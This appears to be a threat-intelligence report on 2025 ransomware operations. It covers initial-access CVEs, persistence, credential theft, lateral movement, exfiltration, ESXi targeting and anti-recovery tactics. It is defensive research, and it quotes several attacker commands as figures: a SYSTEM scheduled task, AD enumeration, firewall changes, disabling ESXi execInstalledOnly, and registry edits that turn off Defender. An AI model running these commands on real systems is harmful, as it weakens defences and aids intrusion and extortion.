During 2025, numerous disruptive events impacted the ransomware ecosystem, including both a range of law enforcement and government actions as well as threat actor-related data leaks and disputes, at least some of which appear to be the result of turmoil amongst threat actors (Figure 4). Not only did many of these events result in direct disruption such as arrests, seizures, and sanctions, but some also forced threat actors to shift TTPs and provided valuable insights to security researchers on the inner workings and individuals behind some ransomware operations. Yet the dominance of long-standing Qilin and Akira brands in 2025 demonstrate the resilience of ransomware actors and their ability to fill voids following takedowns and exit scams of competing RaaS operators. There are some indications that the overall instability in the ransomware threat landscape, coupled with pressure from law enforcement, have caused ransomware teams to increase their operational security, which has translated into more rigorous vetting of potential affiliates. We've also seen some private or semi-private offerings gain prominence. For example, 2025 marked the first time in four years that one of the top two most prolific RaaS operations was not public; while Akira appears to have affiliates, they do not have a public advertisement for their operations.

In 2025, ransomware actors continued to evolve their operations by adopting emerging or established technologies to increase the efficiency and efficacy of their operations. Some threat actors are integrating Web3 technologies into their operations, likely as a way to make their infrastructure more resilient to takedown and detection efforts. The Cry0 RaaS claims to leverage Internet Computer Protocol (ICP) blockchain to host negotiation sites via decentralized canister smart contracts, enabling clearnet access without requiring TOR while DEADLOCK ransomware has leveraged Polygon smart contracts in order to store and rotate C2 infrastructure. We have also seen threat actors incorporating AI-features into their RaaS offerings: the GLOBAL RaaS reportedly has an AI-assisted chat that provides victim analysis and assists with communications, CHAOS purportedly includes a "built-in AI chatbot," although its specific use is unclear, while BERT allegedly uses AI-based data analysis to identify victim pressure points. Finally, we have observed twice the number of ransomware families that were capable of running on both Windows and Linux systems compared to 2024. This could suggest that threat actors are shifting toward cross-platform ransomware rather than creating multiple, separate variants to support their operations.

Commonly Observed Tactics, Techniques, and Procedures

The following sections discuss trends in the TTPs observed in post-compromise ransomware deployment incidents, organized into the corresponding stages of GTIG's attack lifecycle model (Figure 5). The TTPs outlined in this section were observed at Mandiant-led ransomware investigations during 2025.

Initial Access

During 2025, the most commonly identified initial access vector in ransomware incidents was the exploitation or suspected exploitation of vulnerabilities, accounting for a third of incidents, followed by web compromise, stolen credentials, and bruteforce attacks (Figure 6). Notably, while voice phishing was a commonly leveraged tactic in several high profile data theft extortion campaigns, it was not observed in ransomware incidents. This year we included suspected initial access vectors in our analysis to provide a more holistic view, given that some vectors can be more difficult to verify. For example, it can be difficult to confirm the use of stolen credentials, given that the credentials may have been harvested in a separate incident that occurred weeks prior or even on a personal device. Conversely, bruteforce attacks tend to generate many log entries that can be used to confirm the vector.

• Throughout 2025 we observed ransomware operators leveraging a wide range of exploits for initial access (Table 1). While the majority of observed or suspected exploitation activity involved vulnerabilities disclosed prior to 2025, we observed multiple indicators that at least some ransomware actors were leveraging zero-day exploits in their operations.

• In the majority of instances where exploits were used or suspected, the threat actors targeted vulnerabilities in common VPNs and firewalls such as Fortinet (CVE-2024-55591, CVE-2024-21762, and CVE-2019-6693), SonicWall (CVE-2024-40766), Palo Alto (CVE-2024-3400), and Citrix (CVE-2023-4966).

• We also observed malicious actors successfully exploit a variety of other exposed services, including Veritas Backup Exec, Zoho ManageEngine, Microsoft Sharepoint, and SAP Netweaver.

• We observed evidence that multiple ransomware and/or data theft extortion operations leveraged zero-day vulnerabilities for initial access throughout the year.

• During mid-July 2025, an UNC6357 actor attempted to exploit Microsoft Sharepoint vulnerabilities CVE-2025-53770 and CVE-2025-53771 to gain access to the victim's environment and ultimately deploy LOCKBIT.WARLOCK. While this was observed after disclosure of the vulnerability, we observed evidence—including log data and public reporting—suggesting the same actor attempted to exploit the same vulnerability as a zero-day.

• In August 2025, GTIG assessed with high confidence that UNC2165 leveraged a zero-day exploit for CVE-2025-8088 to deploy MYTHICAGENT.

• While the observed incidents did not involve ransomware deployment, threat actors associated with the CL0P DLS may have exploited CVE-2025-61882 as a zero-day against Oracle EBS environments. The CL0P DLS has been associated with multifaceted extortion operations involving CLOP ransomware; however, it is primarily associated with data theft extortion operations rather than ransomware deployment.

• We observed multiple threat clusters leverage malvertising and/or search engine optimization (SEO) tactics to distribute malware payloads for initial access, including both ransomware operators themselves and initial access partners that ultimately led to follow-on ransomware intrusions. 

• We observed multiple UNC6016 malware distribution operations leverage malvertising to distribute malware payloads masquerading as legitimate software tools such as PuTTY to gain initial access. At least a portion of observed UNC6016 access operations ultimately lead to NITROGEN or RHYSIDA ransomware deployments.

• UNC2465 routinely leveraged malvertising and/or SEO techniques to distribute SMOKEDHAM payloads masquerading as RVTOOLs installers.

• While less frequent this year, many threat actors continued to rely on stolen credentials for initial access. In 21% of intrusions where the initial access vector was identified, the threat actor leveraged compromised legitimate credentials to access the victim environment, typically involving authentication to a victim's VPN or a Remote Desktop Protocol (RDP) login. While the source of stolen credentials cannot always be determined, actors can obtain them via numerous techniques including purchasing credentials from underground forums or using credentials exposed in infostealer logs.

• We continued to see a subset of actors leveraging bruteforce attacks against victims' VPNs. In one incident involving ransomware that identified itself as Daixin, the threat actor conducted periodic bruteforce attacks against various VPN user accounts over the course of nearly a year before successfully gaining initial access.

• We observed multiple intrusions where the ransomware operator gained access to the victim through an intermediary network. 

• We observed multiple disparate ransomware operations that leveraged network access to subsidiaries of victims to subsequently access the victim's network. In one instance the threat actor leveraged access to the subsidiary to bruteforce access to the victim's VPN.

• In a separate incident, the threat actor leveraged a VPN connection owned by a third-party vendor to access an operational technology (OT) system within the victim's environment.

• During one intrusion leading to CLOP ransomware deployment, UNC5833 gained access from an initial access partner who impersonated a helpdesk user to social engineer an employee via a Microsoft Teams chat session to install Quick Assist. While we observed limited use of social engineering by ransomware operators during 2025 in incidents we observed, it remained a popular technique among financially motivated intrusion actors more broadly.

Establish Foothold and Maintain Presence

Once inside victim environments, threat actors engaged in many different techniques to establish a foothold and maintain presence, including leveraging valid credentials, tunnelers, backdoors, or legitimate remote access tools. Threat actors continued to use remote management tools to support both these phases of the attack lifecycle, albeit at slightly lower rates than 2024.

• Ransomware actors consistently relied on compromised credentials to establish a foothold in victim environments. 

• Once authenticated to network services, they also often used these credentials to provision or modify highly privileged accounts to maintain access. For example, in a RIFTTEAR incident, the threat actor authenticated via Kerberos to a privileged system, provisioned an AD domain user, and added the account to a high-privileged group. We also saw multiple threat actors change passwords to root accounts on ESXi hosts.

• In 2025, an increased number of threat actors adopted tunnelers to support these phases compared to 2024 observations. Observed tunnelers included publicly available offerings such as PYSOXY, CHISEL, CLOUDFLARED, RPIVOT, and REVSOCKS.CLIENT alongside seemingly private tunnelers like LIONSHARE, VIPERTUNNEL, and BLUNDERBLIGHT.

• In a LOCKBIT.WARLOCK incident, the exploitation of a Microsoft SharePoint vulnerability enabled remote code execution, granting the access required to install CLOUDFLARED from Github via the Windows msiexec command-line utility, establishing an outbound-only C2 channel.

• A subset of threat actors deployed backdoors—including CORNFLAKE.V3.JAVASCRIPT, SQUIDGATE, FIREHAWK, HAVOCDEMON, and SMOKEDHAM—to establish a foothold.

• UNC6021, a suspected FIN6 threat cluster, used SQUIDGATE's built-in functionality to deploy FIREHAWK, a toehold backdoor written in C. Consistent with FIN6 infections, a social engineering engagement on LinkedIn prompted a user to access a malicious website hosting a ZIP archive containing the BULLZLINK downloader. Once executed, it retrieved a dropper variant of SQUIDSLEEP with an embedded SQUIDGATE payload.

• In 2025, multiple ransomware actors relied on remote monitoring and management tools (RMMs) for multiple phases of the attack lifecycle. We observed a variety of these legitimate tools abused in incidents, including ANYDESK, SCREENCONNECT, and SPLASHTOP (Table 2). 

• In an UNC2465 incident, several weeks after the initial intrusion, the threat actors installed the TERAMIND RMM alongside Time Doctor. Time Doctor is an employee monitoring tool, which is capable of taking screenshots and screen recordings of the system as well as track website and application usage.

• Threat actors continued to reduce their reliance on BEACON in ransomware operations; we observed BEACON in around 2% of intrusions, a decrease from an already diminished 11% in 2024. However, multiple threat clusters used other post-exploitation frameworks like AdaptixC2 (ADAPTAGENT), Exploration C2 (EXPLORATIONC2), or MYTHIC.

• In an UNC2165 RANSOMHUB incident, the threat actors used COM hijacking as a persistence mechanism for MYTHIC. UNC2165 created MYTHIC in the "Temp" folder, renamed it to "msedge.dll," and modified the registry key for InprocServer32 to point to the MYTHIC payload.

• Threat actors often used native Windows features to create services and register scheduled tasks to programmatically and recurrently execute malware, such as backdoors or tunnelers. For example, in a RHYSIDA incident, threat actors registered a scheduled task to run the LIONSHARE tunneler every 12 hours (Figure 7).

• In a TridentLocker-branded incident, the threat actors uploaded WAVECALL, a downloader implemented as a .NET assembly, to a victim server running CrushFTP. They modified the command-line instruction used for processing file previews, replacing the configured executable paths for ImageMagick and ExifTool utilities with the WAVECALL assembly, thereby executing it whenever a file preview operation was initiated. The actors later reverted this configuration and updated the command-line instruction to execute a Base64-encoded PowerShell script to deploy a follow-on payload.

/Create /SC MINUTE /MO 720 /TN Reg /TR "C:\Windows\System32\rundll32.exe C:\windows\system32\config\red.dll Test" /ru system

Figure 7: Scheduled task for LIONSHARE

Escalate Privileges

Gaining access to highly privileged accounts is a critical step for ransomware actors as it enables further stages of the attack, such as disabling AV software, deleting backups, and deploying ransomware across the network. Threat actors continue to rely on a variety of privilege escalation tools and techniques, including leveraging MIMIKATZ, dumping credentials stored by the Windows operating system, and abusing Active Directory (AD).

• We observed threat actors leverage MIMIKATZ in approximately 18% of ransomware intrusions in 2025, demonstrating a slight, but continued decline in its overall use in recent years dropping from use in 20% of all ransomware intrusions in 2024. Notably, we observed a decline in other publicly available privilege escalation and credential stealing tools as well; for example, we did not observe LAZAGNE in any ransomware intrusions in 2025, a reduction from 2% of intrusions in 2024, 4% in 2023, and 6% in 2022.

• Consistent with recent years, throughout 2025 threat actors used a myriad of techniques to target Windows authentication systems to gain access to privileged accounts.

• We observed threat actors frequently attempting to obtain credentials stored by Windows systems by dumping the Local Security Authority Subsystem Service (LSASS) process memory, copying the Active Directory domain database (NTDS.dit) file, and exporting the Security Account Manager (SAM), SYSTEM, and SECURITY registry hives.

• Other observed methods include Kerberoasting, modifying the registry to enable WDigest credentials caching, and the recovery of credentials via the Windows Data Protection API (DPAPI).

• Threat actors routinely elevated privileges of compromised and actor-provisioned accounts by adding them to local and domain administrator groups and/or granting the accounts additional privileges such as SeRemoteInteractiveLogonRight, SeDebugPrivilege, SeLoadDriverPrivilege, and SeBackupPrivilege.

• In some intrusions, threat actors abused AD roles to obtain elevated privileges through a variety of means, including DCSync replication and the misuse of AD Certificate Services (AD CS). In a MEDUSALOCKER.V2 incident, the threat actors executed the "Move-ADDirectoryServerOperationMasterRole" cmdlet to transfer Flexible Single Master Operation (FSMO) roles from the victim's AD domain controller to a suspected rogue domain controller.

• We observed multiple threat actors attempt to harvest credentials from various internal sources, including backup tools, browsers, password managers, and credentials stored in cleartext.

• In approximately 10% of intrusions we observed threat actors targeting Veeam Backup & Replication for credential harvesting, which is consistent with activity observed in 2024. Multiple threat actors used the publicly available Veeam-Get-Creds.ps1 script or custom PowerShell scripts to obtain credentials stored in the Veeam configuration database.

• In a handful of incidents, threat actors targeted Chromium-based browsers to obtain stored credentials. For example, in an UNC2165 RANSOMHUB incident, the threat actors executed inline PowerShell to retrieve and decrypt DPAPI-protected master encryption key from the Local State files of Google Chrome and Microsoft Edge allowing access to stored credentials within the browsers.

• Threat actors accessed or attempted to access common password management tools, including KeePass, Bitwarden, and the Windows Credential Manager. During one UNC2465 intrusion involving AGENDA ransomware, the threat actor accessed a self-hosted Bitwarden server and exported and exfiltrated the contents of the vault database.

• During a REDBIKE ransomware incident, the threat actor likely harvested a cleartext password from a SonicWall appliance, which was also shared with an admin account, granting the actor domain administrator privileges.

• During one ransomware incident targeting a victim's virtualized environment, the threat actor exploited CVE-2024-37085 to gain administrator access to an ESXi hypervisor.

Internal Reconnaissance

In 2025, the tactics leveraged for internal reconnaissance remained fairly consistent with recent years; threat actors continued to rely on native system utilities, PowerShell commands, and publicly available software.

• Threat actors consistently used PowerShell to query Active Directory (AD) objects for running processes, network shares, and user group memberships. This activity ranged from using native cmdlets like Get-ADComputer and Get-ADUser to using script blocks to query other system data.

• In several cases, threat actors used Get-ADComputer and Get-ADUser to export lists of AD objects to a separate file. For example, in an incident involving MEDUSALOCKER.V2, the threat actors queried specific user object properties, exported account identity, contact information, and organizational metadata (Figure 8). At the same incident, the threat actors executed a different command to query domain-joined computers, capturing properties such as the operating system (OS), IPv4 address, and last logon date (Figure 9).

• In some instances, threat actors executed PowerShell script blocks that ran a multitude of commands at once. For example, in an INTERLOCK incident, the threat actors ran a condensed one-line script that performed user profiling—including identifying the current user's username, Security Identifier (SID), and group memberships—checked for a domain connection, and enumerated the Domain Admins group. Notably, the script included a jitter, or time delay, to create random pauses between command execution, likely in an attempt to evade detection against rapid-fire command execution.

• Threat actors continued to rely heavily on internal Windows utilities in this phase of the attack lifecycle, including ipconfig, netstat, ping, and nltest, among others.

• Publicly available reconnaissance utilities were used in numerous intrusions. These publicly available tools ranged from those specialized in probing networks, such as Advanced IP Scanner, Softperfect Network Scanner (NETSCAN), and Angry IP Scanner, to red-teaming tools like PowerSploit and IMPACKET. Notably, network reconnaissance utilities like Advanced IP Scanner, NETSCAN, and Angry IP Scanner were used in approximately 50% of intrusions, similar to their observed usage in 2023 and 2024.

• We often saw threat actors accessing files and folders related to potentially sensitive information. In some cases, they appeared to search for backup scripts and password managers, while in other cases they were likely attempting to find sensitive files to exfiltrate in order to increase the pressure applied by data theft extortion.

• In a REDBIKE intrusion, the threat actors searched for keywords like "passport," "i9," and "cyber insurance." In addition to searching for personally identifiable information (PII) like passports and employment eligibility forms, it is plausible that the threat actors were also seeking to obtain the victim's cyber insurance policies to help them determine a negotiation strategy or maximum ransom amount to demand.

• Several threat actors performed targeted internal reconnaissance for information about virtualized infrastructure within the victim environment, likely to facilitate ransomware deployment on these systems. In a REDBIKE incident, threat actors enumerated hypervisors by running the Get-VM cmdlet and accessed the internal VMware vSphere web portal.

powershell Import-Module ActiveDirectory; Get-ADUser -filter * -properties Enabled,DisplayName,Mail,SAMAccountName,homephone,ipphone,TelephoneNumber,comment,description,title | select Enabled,DisplayName,Mail,SAMAccountName,homephone,ipphone,TelephoneNumber,comment,description,title | export-csv C:\Users\Public\Music\users.csv 

Figure 8: Get-ADUser HostCmd

powershell Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq $true} -properties *|select comment, description, Name, DNSHostName, OperatingSystem, LastLogonDate, ipv4address | Export-CSV C:\users\public\music\AllWindows.csv -NoTypeInformation -Encoding UTF8

Figure 9: Get-ADComputer HostCmd

Lateral Movement

Throughout 2025, actors extensively used common built-in protocols, including RDP, Server Message Block (SMB), and Secure Shell (SSH), combined with compromised credentials or attacker-created accounts for lateral movement. We also observed actors leveraging a variety of tools and utilities to tunnel and proxy traffic within victim environments.

• In approximately 85% of intrusions, threat actors leveraged RDP with either compromised or attacker-created accounts for lateral movement.

• Across a range of incidents we observed threat actors leveraging SMB for lateral movement to access network shares, stage payloads, and execute remote commands.

• During one SAFEPAY ransomware incident, the threat actor leveraged SMB to access various network shares and used this access to stage a copy of NETSCAN on multiple hosts.

• We also observed multiple actors leverage IMPACKET.SMBEXEC to execute remote commands. For example, in one intrusion leading to MEDUSALOCKER.V2 ransomware, the threat actor leveraged IMPACKET.SMBEXEC to run commands to create a new local administrator account on a remote host.

• Across numerous incidents we observed various threat actors leverage common public utilities like PuTTY and KiTTY to establish SSH connections to hosts, particularly when moving laterally to ESXi systems.

• We continued to observe frequent use of common Windows utilities like PsExec, Windows Remote Management (WinRM), and to a lesser extent Windows Management Instrumentation Command-line (WMIC), for remote execution and lateral movement.

• In a handful of intrusions, threat actors used PowerShell to establish interactive remote sessions via WinRM using the "Enter-PSSession" cmdlet.

• In an UNC5774 INTERLOCK ransomware incident, the threat actors used WinRM to establish a connection to a domain controller and execute remote commands, including using net.exe to reset the password of a user account.

• During an UNC2465 incident, the threat actor moved laterally by using WMIC to execute a SMOKEDHAM payload on a remote host.

• In numerous incidents, threat actors manipulated firewall rules in order to enable different types of traffic, such as RDP or SMB, to be allowed within the victim environment.

• In one incident, UNC6021, a suspected FIN6 threat cluster, created a scheduled task that ran a netsh command to modify firewall rules to enable remote desktop access (Figure 10).

• During one UNC6276 intrusion, the threat actor disabled the firewall on an ESXi host before deploying SYSTEMBC.LINUX on the host.

• In one incident the threat actor installed OpenSSH on a host and ran a PowerShell command to configure a new firewall rule to allow inbound traffic on port 22 (Figure 11).

• In an intrusion leading to the deployment of INC ransomware, the threat actor leveraged an attacker-created account to create new firewall policies that granted access to multiple additional subnets within the network.

• Threat actors leveraged a variety of malicious and legitimate utilities to tunnel and proxy traffic within victim networks, including SYSTEMBC, VIPERTUNEL, PYSOXY, CLOUDFLARED, and OpenSSH. During one LOCKBIT.WARLOCK intrusions the threat actor leveraged CLOUDFLARED to tunnel an RDP connection between two hosts.

• In a minimal number of incidents, threat actors leveraged publicly available post-exploitation tools including METASPLOIT and AMNESIAC.

• Threat actors often abused access to various management consoles for virtual systems to move laterally to virtual hosts. 

• In multiple instances, the threat actors appeared to leverage this access to enable SSH on ESXi hosts prior to establishing SSH connections for lateral movement. For example, in a FOULFOG.LINUX incident, threat actors leveraged access from the victim's VMware vSphere centralized management portal to enable SSH on a vm-host, created user root1, SSHed using the newly created user, and disabled firewall.

• During one incident the threat actor leveraged access to the victim's Nutanix Prism Central management tool along with a compromised account to move laterally to multiple additional systems. In the same incident, the threat actor also used the VMware web user interface to access numerous ESXi hosts.

• In a subset of intrusions we observed evidence of threat actors conducting bruteforce attacks to gain access to accounts on additional systems.

cmd.exe /C netsh advfirewall firewall set rule group="remote desktop" new enable=No

Figure 10: netsh command to modify firewall rules to enable remote access

powershell.exe -Command New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22

Figure 11: PowerShell command to allow inbound SSH traffic

Complete Mission

The following sections highlight observations from the complete mission phase of the attack lifecycle, covering ransomware deployment, data exfiltration, and anti-analysis and recovery techniques. Threat actors conducting ransomware attacks routinely conduct multifaceted extortion operations involving data theft as it provides additional leverage during negotiations. Threat actors also consistently engage in a diverse range of tactics to ensure the success of their operations and reduce the ability for victims to recover, including tampering with security software, deleting backups, and clearing logs. Notable trends in 2025 include the prevalence of REDBIKE ransomware, an increase in the percentage of incidents involving data theft extortion, and indications that the techniques used to target virtual systems may be maturing.

Ransomware Families

REDBIKE was the most prominent ransomware observed in 2025 Mandiant incident response investigations, followed by AGENDA and then INC ransomware (Figure 12). In 2024, REDBIKE was tied for the number one spot with LOCKBIT.BLACK and RANSOMHUB; however, in 2024 LOCKBIT experienced significant disruptive actions stemming from law enforcement actions and in 2025 RansomHub abruptly ceased operations. Throughout 2025 we also observed a handful of incidents involving newly identified ransomware, such as NINTHBEE and SILVERPINE, demonstrating that at least a subset of threat actors are developing and maintaining new ransomware families.

• REDBIKE was seen in almost 30% of 2025 ransomware incidents, surpassing previous highs for single ransomware families, including LOCKBIT and ALPHV reaching 17% each in 2023.

• We continue to observe threat actors reusing existing ransomware families in seemingly unrelated operations conducted under different extortion brands.

• While we have seen a significant decrease in LOCKBIT ransomware incidents since the legal actions taken against the RaaS in 2024, in 2025 we did observe a handful of LOCKBIT.WARLOCK incidents. The WarLock DLS emerged in July 2025 and has listed over 75 victims since. LOCKBIT.WARLOCK largely leverages the original LOCKBIT codebase; however, it uses different encryption algorithms, and refactors previously inlined operations into dedicated functions.

• In 2025, we observed a handful of intrusions involving CONTI ransomware, though the CONTI RaaS was shut down in May 2022 following the leak of associated chat logs and the CONTI source code. For example, we observed CONTI deployed in a 2025 incident associated with the Gunra ransomware group; analysis of the ransomware payload identified it was heavily based on CONTI's source code, with slight variations in obfuscation.

• We observed three different extortion brands leveraging INC ransomware in their operations: INC Ransom, Sinobi, and Lynx. The INC ransomware source code was advertised in an underground forum in May 2024 but the Lynx and INC Ransom DLS domains were acquired by a common threat actor.

• GTIG observed ODDSIDE ransomware in an incident in 2025; ODDSIDE is PowerShell-based ransomware that refers to itself as DARKMATTER. While not completely unheard of, PowerShell-based ransomware is fairly rare.

• Notably, in one incident we observed threat actors deploy CLOP ransomware. This is the first time we’ve responded to a CLOP ransomware incident since 2020, though we have occasionally identified CLOP ransomware samples uploaded to malware repositories. In recent years, threat actors associated with the CL0P data leak site have primarily conducted data-theft-extortion-only operations rather than performing encryption.

• In a subset of incidents, we were unable to obtain the ransomware payloads. For example, we observed a handful of TridentLocker-branded ransomware incidents in which there is evidence to suggest that the ransomware payload was executed in memory. It's plausible the threat actors used in-memory execution to deploy ransomware to try and bypass security detections and potentially make analysis and recovery efforts more difficult.

• Threat actors occasionally abuse legitimate encryption tools in their extortion operations. In 2025, we observed an incident in which threat actors used BitLocker to encrypt over 200 remote hosts.

Data Exfiltration

In 2025, we observed confirmed or suspected data theft in approximately 77% of ransomware intrusions, a notable increase from approximately 57% in 2024. In these incidents, the most frequently observed strategies for identifying, staging, and exfiltrating data included the use of legitimate data synchronization tools such as Rclone and MEGASync, file compression using built-in tools or portable versions of WinRar or 7Zip, and FTP clients such as Filezilla or Winscp.

• During intrusions where data was stolen, we routinely observed threat actors targeting a variety of sensitive data types, including legal, human resources, accounting, and business development data.

• We observed evidence of threat actors conducting manual reconnaissance of systems likely to gather sensitive data for exfiltration such as accessing emails and attempting to access SharePoint and other Microsoft 365 environments via the browser.

• In 2025, threat actors continued to rely on publicly available tools and utilities—including Rclone, MEGASync, Megatools, restic, and possibly Cyberduck—to exfiltrate data.

• We observed Rclone in approximately 28% of intrusions where data theft was confirmed or suspected to exfiltrate data to attacker-controlled infrastructure.

• In one INC ransomware incident, the threat actor used the wget and curl commands to download Rclone and an INC.LINUX ransomware payload respectively to a network-attached storage (NAS) server. The threat actor subsequently ran Rclone to exfiltrate data from the server prior to manually executing the INC.LINUX payload.

• Threat actors installed and/or leveraged legitimate FTP/SFTP clients in 26% of intrusions where data theft was observed or suspected. Commonly observed software included FileZilla, WinSCP, and PuTTY Secure Copy.

• While not confirmed to be used for data exfiltration, we observed threat actors installing and/or executing various utilities that could be used to aid in the reconnaissance, staging, and export of stolen data such as Total Commander, Xcopy, and Gpg4win.

• Threat actors leveraged a myriad of legitimate cloud services and infrastructure to exfiltrate stolen data, including Azure, AWS, Backblaze, Cloudzy, Filemail, Google Drive, and MEGA, and OneDrive.

• In one UNC5471 intrusion leading to AGENDA ransomware, the threat actor leveraged batch scripts alongside WinRAR to automate the archiving of files in directories. The actor then used Megatools and SLEETSEND to exfiltrate the data to the MEGA and Cloudzy cloud storage services.

• We observed multiple threat actors transferring stolen data to attacker-controlled OneDrive accounts. During one UNC5496 intrusion, the threat actor ran commands to have Rclone transfer all files that matched a list of common file extension types to a threat actor-controlled OneDrive account.

• In multiple incidents, we observed threat actors leveraging AzCopy to transfer stolen files to attacker-controlled Azure storage.

• During one UNC6098 intrusion, the threat actor leveraged the SQL Server Import and Export Wizard to export a SQL database.

Ransomware Deployment

We observed a diverse set of ransomware deployment techniques leveraged in intrusions throughout 2025. Threat actors employed both manual and automated deployment techniques, including the use of batch scripts, scheduled tasks, Group Policy Objects (GPOs), registry keys, and PowerShell scripts. Notably, in almost 20% of incidents, threat actors targeted virtualization infrastructure, and we observed multiple incidents where operators automated portions of their ransomware deployment against ESXi hosts, suggesting techniques used to target virtual systems may be maturing.

• Threat actors often relied on automated mechanisms to deploy ransomware. In many cases, they relied on native Windows mechanisms to facilitate ransomware execution.

• Multiple threat clusters leveraged batch scripts to facilitate ransomware payload execution in victim environments. In one LOCKBIT.WARLOCK intrusion, the threat actor staged NetExec on a domain controller along with files to run the ransomware payload. The threat actor then used NetExec to copy a batch file to numerous hosts via SMB and run it to execute the ransomware payload.

• In a separate LOCKBIT.WARLOCK intrusion, the threat actor staged ransomware payloads on multiple hosts via SMB before executing them via scheduled tasks.

• During a NINTHBEE ransomware incident, the threat actor modified a GPO to include a malicious scheduled task that disabled Windows Defender and subsequently executed the ransomware payload. In the same intrusion, the threat actor also attempted to execute the NINTHBEE payload on multiple remote hosts via PsExec.

• In an incident likely involving DOLLARLOCKER, a threat actor created a Windows service to run a command to execute the ransomware payload.

• Multiple threat clusters leveraged the Windows Registry to complete their ransomware deployment objectives. During an UNC5471 intrusion, the threat actor created registry Run keys to execute AGENDA ransomware on multiple servers persistently. In one INTERLOCK ransomware intrusion, following encryption, the threat actor modified the LegalNoticeCaption and LegalNoticeText registry values to display a banner indicating the system was ransomed on start up.

• In addition to using SMB to stage ransomware payloads, we also observed threat actors leverage SMB to facilitate more expansive ransomware deployment across victim networks. In one incident, actors identified network shares via the "Invoke-ShareFinder" PowerShell cmdlet and likely supplied this list to REDBIKE as a list of targets. Ultimately, encryption was attempted on more than 500 endpoints via SMB.

• In a small subset of observed intrusions, threat actors leverage PowerShell to automate the deployment of BitLocker encryption across victims' environments. During one intrusion, the threat actor used a PowerShell script to install, configure, and assign passwords for BitLocker on multiple hosts. The threat actor then enabled encryption on multiple drives on these hosts and scheduled a system restart to force the hosts into a locked state. The actor also modified the registry to display a ransom note on the BitLocker preboot recovery screen.

• In approximately 43% of ransomware intrusions we responded to in 2025, the threat actors were observed targeting virtualization infrastructure, an increase from 29% in 2024. While ransomware deployment to virtual systems is often done manually, in 2025 we observed at least some incidents where threat actors attempted to automate portions of the ransomware deployment stage.

• During an UNC5495 intrusion, the threat actor automated the deployment of BABUK.MARIO by leveraging a batch script that accepted credentials for ESXi hosts. The batch script used a staged copy of KiTTY to copy the ransomware payload to the host and then connect via SSH and run a command to execute the payload on each host. In a separate intrusion, a threat actor leveraged a PowerShell script to authenticate to the victim's vCenter server, set new root passwords, and enable SSH on ESXi hosts. The same script was used to subsequently copy a RIFTEAR ransomware payload to the hosts, delete backups, shutdown virtual machines (VMs), and disable security policies prior to executing the ransomware payload.

• Prior to ransomware deployment on ESXi hosts, threat actors commonly disabled the ExecInstalledOnly setting on hosts to allow for the execution of custom binaries (Figure 13). During one intrusion, the threat actor also accessed a vCenter server and modified the Lockdown Mode Exception Users settings, which controls users that are allowed to maintain privileges when the host is in lockdown mode.

• Across multiple intrusions, threat actors took steps to stop virtual machines and unlock files prior to decryption, almost certainly to maximize the impact of their ransomware payloads.

• In multiple instances threat actors used or attempted to use IOBIT, a legitimate uninstaller utility, to unlock files in use by other programs prior to executing ransomware payloads.

• We also observed multiple actors shutting down virtual machines and deleting backups and snapshots prior to encryption. In at least one intrusion, an actor leveraged a PowerShell script to automate the process of powering off virtual machines.

• During one intrusion, the threat actor accessed the victim's Commvault server and deleted vCenter backup volumes prior to encryption to hinder recovery.

• During a TridentLocker-branded ransomware incident, we assess with moderate confidence that the threat actor leveraged the same CrushFTP preview hijacking technique used for WAVECALL persistence to download and execute a ransomware payload from the WAVECALL C2 server.

esxcli system settings advanced set -o /User/execInstalledOnly -i 0

Figure 13: Command to disable ExecInstalledOnly setting on ESXi hosts

Anti-Detection, Analysis, and Recovery Tactics

Ransomware actors consistently engage in anti-detection, anti-analysis, and anti-recovery tactics in their operations in an effort to not only prevent detection during the intrusion, but increase the difficulty for victims to recover post-encryption. While these tactics are often manually performed by threat actors, numerous ransomware families feature built-in capabilities to hinder analysis and delete backups prior to encryption.

• Threat actors consistently disabled and tampered with security controls during ransomware intrusions to avoid detection and/or block of execution of malicious payloads. Most commonly, we observed threat actors disabling Windows Defender, often by modifying the Windows registry. In some other cases, the threat actors modified Defender configurations via the Set-MpPreference PowerShell cmdlet to add exclusions for their malware and ransomware payloads. Threat actors also were observed leveraging GPOs, scheduled tasks, and PowerShell scripts in order to tamper with a variety of security controls.

• In a REDBIKE incident, threat actors used PowerShell to disable a multitude of Windows Defender features by running commands to modify a variety of values associated with Windows Defender registry keys, including DisableRealtimeMonitoring, DisableScanOnRealtimeEnable, and DisableOnAccessProtection (Figure 14).

• In an intrusion involving WHITERABBIT, threat actors executed a Base64-encoded PowerShell command that used the "Add-MpPreference" cmdlet to modify the Defender Exclusion list to include the ransomware binary; a variety of file extensions, such as ".cmd," ".bat," and ".exe"; as well as User Data folders.

• In an incident involving NINTHBEE, threat actors registered a scheduled task to execute daily a command that disables Microsoft Defender's real-time scanning for downloaded files and email attachments.

• Ransomware actors often deleted artifacts and cleared event logs to remove evidence of their activity. These records included information about command execution, firewall traffic, and stolen credentials. The wevtutil utility was used to facilitate log deletion in multiple instances.

• In a FOULFOG.LINUX incident, the threat actors renamed the ransomware binary to a less suspicious name, "filerw"; deleted the command history for the system; and created an empty file to replace the deleted file.

• In some cases, threat actors used benign names in their operations in an attempt to masquerade as legitimate software or system resources. For example, in a RIFTTEAR incident, threat actors registered a scheduled task named "\Microsoft\Update" to execute a malicious command likely intended to kill endpoint detection and response (EDR) processes. In a separate case involving CONTI, the ransomware binary had its filename renamed from "enc_lin" to "rsync" in an attempt to appear as the native synchronization command-line utility.

• Ransomware actors often disabled or deleted backups to inhibit and/or limit recovery options. In some cases, threat actors stopped backup servers and/or deleted Volume Shadow Copies (VSS) via PowerShell scripts.

• Notably, in a RANSOMHUB incident, the threat actors used the access to Cisco Integrated Management Controller (CIMC) to map a Debian Linux ISO image via Virtual Media across a nine-node Cohesity cluster. By modifying the boot priority and hardware power-cycling, the nodes booted into the external Linux environment, overwriting the Cohesity operating system (OS) and rendering the backup data inaccessible.

• In a handful of intrusions, the threat actors used tooling to terminate processes and services associated with security software solutions, specifically those abusing signed kernel mode drivers. Examples include the open-source TERMINATOR and WATCHDOGKILLER, as well as non-publicly available tools such as WARCLAW, a utility that decodes and installs a vulnerable kernel mode driver.

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f 

